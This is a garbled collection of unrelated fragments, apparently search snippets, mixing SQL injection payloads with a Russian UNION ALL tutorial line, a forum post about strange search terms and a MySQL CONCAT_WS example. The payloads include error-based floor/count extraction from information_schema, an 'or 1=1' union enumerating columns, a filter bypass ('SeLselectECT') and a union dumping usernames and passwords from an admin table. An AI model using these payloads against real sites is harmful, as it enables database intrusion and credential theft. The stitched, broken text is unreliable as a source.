...count(*), concat(( select( select unhex(hex( concat(?!~!?, ?ABC145ZQ62DWQAFPOIYCFD, ? ... )) from information_schema tables lImit 0,1),floor
SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x).
select number, text from test_table union all select number, text from test_table_2. Здесь уже вывелись все строки, так как мы указали union all. А теперь давайте рассмотрим, какие могут быть ошибки даже в этом простом запросе.
...concat((select (select concat(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e)) from `information_schema`.tables limit 0,1),floor
99 or 1=1 union select null, concat(table_name,0x0a,column_name) from information_ schema.columns - since where clause cannot be used
So we have a search field on our website, and I save all of the search terms to a database table. I brought up the search term table today and noticed some weird searches...
like we see [select] is down let's double text [Replacing keywords] like this SeLselectECT.
String Functions ASCII Char Charindex Concat Concat with + Concat_WS
mysql> SELECT CONCAT_WS(',','First name','Second name','Last Name')
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin.